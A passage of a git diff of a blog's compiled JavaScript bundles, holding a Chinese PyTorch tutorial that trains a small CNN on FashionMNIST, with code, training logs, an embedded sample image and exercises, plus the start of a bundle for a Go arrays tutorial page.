num_workers=num_workers)\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8bfb\u5165\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u505a\u4e00\u4e9b\u6570\u636e\u53ef\u89c6\u5316\u64cd\u4f5c\uff0c\u4e3b\u8981\u662f\u9a8c\u8bc1\u6211\u4eec\u8bfb\u5165\u7684\u6570\u636e\u662f\u5426\u6b63\u786e"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'import matplotlib.pyplot as plt\nimage, label = next(iter(train_loader))\nprint(image.shape, label.shape)\nplt.imshow(image[0][0], cmap="gray")\n'})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"torch.Size([256, 1, 28, 28]) \ntorch.Size([256]) \n<matplotlib.image.AxesImage at 0x7f19a043cc10>\n\n\n\n\n"})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"png",src:s(12557).A+"",width:"251",height:"248"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6a21\u578b\u8bbe\u8ba1"}),(0,r.jsx)(e.br,{}),"\n\u7531\u4e8e\u4efb\u52a1\u8f83\u4e3a\u7b80\u5355\uff0c\u8fd9\u91cc\u6211\u4eec\u624b\u642d\u4e00\u4e2aCNN\uff0c\u800c\u4e0d\u8003\u8651\u5f53\u4e0b\u5404\u79cd\u6a21\u578b\u7684\u590d\u6742\u7ed3\u6784\uff0c\u6a21\u578b\u6784\u5efa\u5b8c\u6210\u540e\uff0c\u5c06\u6a21\u578b\u653e\u5230GPU\u4e0a\u7528\u4e8e\u8bad\u7ec3\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"class Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv = nn.Sequential(\n nn.Conv2d(1, 32, 5),\n nn.ReLU(),\n nn.MaxPool2d(2, stride=2),\n nn.Dropout(0.3),\n nn.Conv2d(32, 64, 5),\n nn.ReLU(),\n nn.MaxPool2d(2, stride=2),\n nn.Dropout(0.3)\n )\n self.fc = nn.Sequential(\n nn.Linear(64*4*4, 512),\n nn.ReLU(),\n nn.Linear(512, 10)\n )\n \n def forward(self, x):\n x = self.conv(x)\n x = x.view(-1, 64*4*4)\n x = self.fc(x)\n # x = nn.functional.normalize(x)\n return x\n\nmodel = Net()\nmodel = model.cuda()\n# model = nn.DataParallel(model).cuda() # \u591a\u5361\u8bad\u7ec3\u65f6\u7684\u5199\u6cd5\uff0c\u4e4b\u540e\u7684\u8bfe\u7a0b\u4e2d\u4f1a\u8fdb\u4e00\u6b65\u8bb2\u89e3\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u8bbe\u5b9a\u635f\u5931\u51fd\u6570"}),(0,r.jsx)(e.br,{}),"\n\u4f7f\u7528torch.nn\u6a21\u5757\u81ea\u5e26\u7684CrossEntropy\u635f\u5931",(0,r.jsx)(e.br,{}),"\nPyTorch\u4f1a\u81ea\u52a8\u628a\u6574\u6570\u578b\u7684label\u8f6c\u4e3aone-hot\u578b\uff0c\u7528\u4e8e\u8ba1\u7b97CE loss",(0,r.jsx)(e.br,{}),"\n\u8fd9\u91cc\u9700\u8981\u786e\u4fddlabel\u662f\u4ece0\u5f00\u59cb\u7684\uff0c\u540c\u65f6\u6a21\u578b\u4e0d\u52a0softmax\u5c42\uff08\u4f7f\u7528logits\u8ba1\u7b97\uff09,\u8fd9\u4e5f\u8bf4\u660e\u4e86PyTorch\u8bad\u7ec3\u4e2d\u5404\u4e2a\u90e8\u5206\u4e0d\u662f\u72ec\u7acb\u7684\uff0c\u9700\u8981\u901a\u76d8\u8003\u8651"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"criterion = nn.CrossEntropyLoss()\n# criterion = nn.CrossEntropyLoss(weight=[1,1,1,1,3,1,1,1,1,1])\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"?nn.CrossEntropyLoss # \u8fd9\u91cc\u65b9\u4fbf\u770b\u4e00\u4e0bweighting\u7b49\u7b56\u7565\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u8bbe\u5b9a\u4f18\u5316\u5668"}),(0,r.jsx)(e.br,{}),"\n\u8fd9\u91cc\u6211\u4eec\u4f7f\u7528Adam\u4f18\u5316\u5668"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"optimizer = optim.Adam(model.parameters(), lr=0.001)\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u8bad\u7ec3\u548c\u6d4b\u8bd5\uff08\u9a8c\u8bc1\uff09"}),(0,r.jsx)(e.br,{}),"\n\u5404\u81ea\u5c01\u88c5\u6210\u51fd\u6570\uff0c\u65b9\u4fbf\u540e\u7eed\u8c03\u7528",(0,r.jsx)(e.br,{}),"\n\u5173\u6ce8\u4e24\u8005\u7684\u4e3b\u8981\u533a\u522b\uff1a"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6a21\u578b\u72b6\u6001\u8bbe\u7f6e"}),"\n",(0,r.jsx)(e.li,{children:"\u662f\u5426\u9700\u8981\u521d\u59cb\u5316\u4f18\u5316\u5668"}),"\n",(0,r.jsx)(e.li,{children:"\u662f\u5426\u9700\u8981\u5c06loss\u4f20\u56de\u5230\u7f51\u7edc"}),"\n",(0,r.jsx)(e.li,{children:"\u662f\u5426\u9700\u8981\u6bcf\u6b65\u66f4\u65b0optimizer"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u5916\uff0c\u5bf9\u4e8e\u6d4b\u8bd5\u6216\u9a8c\u8bc1\u8fc7\u7a0b\uff0c\u53ef\u4ee5\u8ba1\u7b97\u5206\u7c7b\u51c6\u786e\u7387"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"def train(epoch):\n model.train()\n train_loss = 0\n for data, label in train_loader:\n data, label = data.cuda(), label.cuda()\n optimizer.zero_grad()\n output = model(data)\n loss = criterion(output, label)\n loss.backward()\n optimizer.step()\n train_loss += loss.item()*data.size(0)\n train_loss = train_loss/len(train_loader.dataset)\n print('Epoch: {} \\tTraining Loss: {:.6f}'.format(epoch, train_loss))\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"def val(epoch): \n model.eval()\n val_loss = 0\n gt_labels = []\n pred_labels = []\n with torch.no_grad():\n for data, label in test_loader:\n data, label = data.cuda(), label.cuda()\n output = model(data)\n preds = torch.argmax(output, 1)\n gt_labels.append(label.cpu().data.numpy())\n pred_labels.append(preds.cpu().data.numpy())\n loss = criterion(output, label)\n val_loss += loss.item()*data.size(0)\n val_loss = val_loss/len(test_loader.dataset)\n gt_labels, pred_labels = np.concatenate(gt_labels), np.concatenate(pred_labels)\n acc = np.sum(gt_labels==pred_labels)/len(pred_labels)\n print('Epoch: {} \\tValidation Loss: {:.6f}, Accuracy: {:6f}'.format(epoch, val_loss, acc))\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"for epoch in range(1, epochs+1):\n train(epoch)\n val(epoch)\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"/data1/ljq/anaconda3/envs/smp/lib/python3.8/site-packages/torch/nn/functional.py:718: UserWarning: Named tensors and all their associated APIs are an experimental feature and subject to change. Please do not use them for anything important until they are released as stable. (Triggered internally at /opt/conda/conda-bld/pytorch_1623448234945/work/c10/core/TensorImpl.h:1156.)\n return torch.max_pool2d(input, kernel_size, stride, padding, dilation, ceil_mode)\n\n\nEpoch: 1 \tTraining Loss: 0.659050\nEpoch: 1 \tValidation Loss: 0.420328, Accuracy: 0.852000\nEpoch: 2 \tTraining Loss: 0.403703\nEpoch: 2 \tValidation Loss: 0.350373, Accuracy: 0.872300\nEpoch: 3 \tTraining Loss: 0.350197\nEpoch: 3 \tValidation Loss: 0.293053, Accuracy: 0.893200\nEpoch: 4 \tTraining Loss: 0.322463\nEpoch: 4 \tValidation Loss: 0.283335, Accuracy: 0.892300\nEpoch: 5 \tTraining Loss: 0.300117\nEpoch: 5 \tValidation Loss: 0.268653, Accuracy: 0.903500\nEpoch: 6 \tTraining Loss: 0.282179\nEpoch: 6 \tValidation Loss: 0.247219, Accuracy: 0.907200\nEpoch: 7 \tTraining Loss: 0.268283\nEpoch: 7 \tValidation Loss: 0.242937, Accuracy: 0.907800\nEpoch: 8 \tTraining Loss: 0.257615\nEpoch: 8 \tValidation Loss: 0.234324, Accuracy: 0.912200\nEpoch: 9 \tTraining Loss: 0.245795\nEpoch: 9 \tValidation Loss: 0.231515, Accuracy: 0.914100\nEpoch: 10 \tTraining Loss: 0.238739\nEpoch: 10 \tValidation Loss: 0.229616, Accuracy: 0.914400\nEpoch: 11 \tTraining Loss: 0.230499\nEpoch: 11 \tValidation Loss: 0.228124, Accuracy: 0.915200\nEpoch: 12 \tTraining Loss: 0.221574\nEpoch: 12 \tValidation Loss: 0.211928, Accuracy: 0.921200\nEpoch: 13 \tTraining Loss: 0.217924\nEpoch: 13 \tValidation Loss: 0.209744, Accuracy: 0.921700\nEpoch: 14 \tTraining Loss: 0.206033\nEpoch: 14 \tValidation Loss: 0.215477, Accuracy: 0.921400\nEpoch: 15 \tTraining Loss: 0.203349\nEpoch: 15 \tValidation Loss: 0.215550, Accuracy: 0.919400\nEpoch: 16 \tTraining Loss: 0.196319\nEpoch: 16 \tValidation Loss: 0.210800, Accuracy: 0.923700\nEpoch: 17 \tTraining Loss: 0.191969\nEpoch: 17 \tValidation Loss: 0.207266, Accuracy: 0.923700\nEpoch: 18 \tTraining Loss: 0.185466\nEpoch: 18 \tValidation Loss: 0.207138, Accuracy: 0.924200\nEpoch: 19 \tTraining Loss: 0.178241\nEpoch: 19 \tValidation Loss: 0.204093, Accuracy: 0.924900\nEpoch: 20 \tTraining Loss: 0.176674\nEpoch: 20 \tValidation Loss: 0.197495, Accuracy: 0.928300\n"})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6a21\u578b\u4fdd\u5b58"}),(0,r.jsx)(e.br,{}),"\n\u8bad\u7ec3\u5b8c\u6210\u540e\uff0c\u53ef\u4ee5\u4f7f\u7528torch.save\u4fdd\u5b58\u6a21\u578b\u53c2\u6570\u6216\u8005\u6574\u4e2a\u6a21\u578b\uff0c\u4e5f\u53ef\u4ee5\u5728\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u4fdd\u5b58\u6a21\u578b",(0,r.jsx)(e.br,{}),"\n\u8fd9\u90e8\u5206\u4f1a\u5728\u540e\u9762\u7684\u8bfe\u7a0b\u4e2d\u8be6\u7ec6\u4ecb\u7ecd"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:'save_path = "./FahionModel.pkl"\ntorch.save(model, save_path)\n'})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.strong,{children:"\u4f5c\u4e1a"})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6a21\u578b\u8bad\u7ec3"}),"\n"]}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u540e\u5c1d\u8bd5\u4f7f\u7528\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u7684\u65b9\u6cd5\u8bad\u7ec3\u6a21\u578b\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c6.3 \u6a21\u578b\u5fae\u8c03\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528\u9884\u8bad\u7ec3\u6a21\u578b\u8fdb\u884c\u6a21\u578b\u5fae\u8c03\uff0c\u89c2\u5bdf\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c6.5 \u6570\u636e\u589e\u5f3a\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528imgaug\u5e93\u8fdb\u884c\u6570\u636e\u589e\u5f3a\uff0c\u89c2\u5bdf\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c7.3 \u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\u540e\uff0c\u5c1d\u8bd5\u4f7f\u7528TensorBoard\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u89c2\u5bdf\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u4f7f\u7528\u591a\u5361\u8bad\u7ec3\u6a21\u578b\uff0c\u89c2\u5bdf\u6a21\u578b\u7684\u8bad\u7ec3\u6548\u679c\u3002"}),"\n"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u6a21\u578b\u63a8\u7406"}),"\n"]}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u5728\u5b66\u4e60\u5b8c5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6\u540e\uff0c\u52a0\u8f7d\u5df2\u7ecf\u8bad\u7ec3\u597d\u7684\u6a21\u578b\uff0c\u8fdb\u884c\u6a21\u578b\u63a8\u7406\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u4f7f\u7528sklearn.metrics\u4e2d\u7684classification_report\u51fd\u6570\uff0c\u8f93\u51fa\u6a21\u578b\u7684\u5206\u7c7b\u62a5\u544a\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u5b66\u4e60\u5b8c9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406\u540e\uff0c\u5c06\u6a21\u578b\u8f6c\u6362\u4e3aONNX\u683c\u5f0f\uff0c\u4f7f\u7528ONNXRuntime\u8fdb\u884c\u63a8\u7406\u3002"}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(d,{...n})}):d(n)}},12557:(n,e,s)=>{s.d(e,{A:()=>a});const a="data:image/png;base64,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"},28453:(n,e,s)=>{s.d(e,{R:()=>o,x:()=>i});var a=s(96540);const r={},t=a.createContext(r);function o(n){const e=a.useContext(t);return a.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function i(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:o(n.components),a.createElement(t.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/assets/js/2b6e1ebe.f9e934bb.js b/assets/js/2b6e1ebe.f9e934bb.js new file mode 100644 index 0000000..ed2d00c --- /dev/null +++ b/assets/js/2b6e1ebe.f9e934bb.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6777],{28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>s});var r=t(96540);const i={},a=r.createContext(i);function l(n){const e=r.useContext(a);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function s(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:l(n.components),r.createElement(a.Provider,{value:e},n.children)}},48350:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>s,default:()=>h,frontMatter:()=>l,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4","description":"\u6570\u7ec4\u662f\u540c\u4e00\u79cd\u6570\u636e\u7c7b\u578b\u5143\u7d20\u7684\u96c6\u5408\u3002 \u5728Go\u8bed\u8a00\u4e2d\uff0c\u6570\u7ec4\u4ece\u58f0\u660e\u65f6\u5c31\u786e\u5b9a\uff0c\u4f7f\u7528\u65f6\u53ef\u4ee5\u4fee\u6539\u6570\u7ec4\u6210\u5458\uff0c\u4f46\u662f\u6570\u7ec4\u5927\u5c0f\u4e0d\u53ef\u53d8\u5316\u3002 \u57fa\u672c\u8bed\u6cd5\uff1a","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/06.GoLang-\u6570\u7ec4.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/06.GoLang-\u6570\u7ec4.md","tags":[],"version":"current","sidebarPosition":6,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6d41\u7a0b\u63a7\u5236","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6d41\u7a0b\u63a7\u5236"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840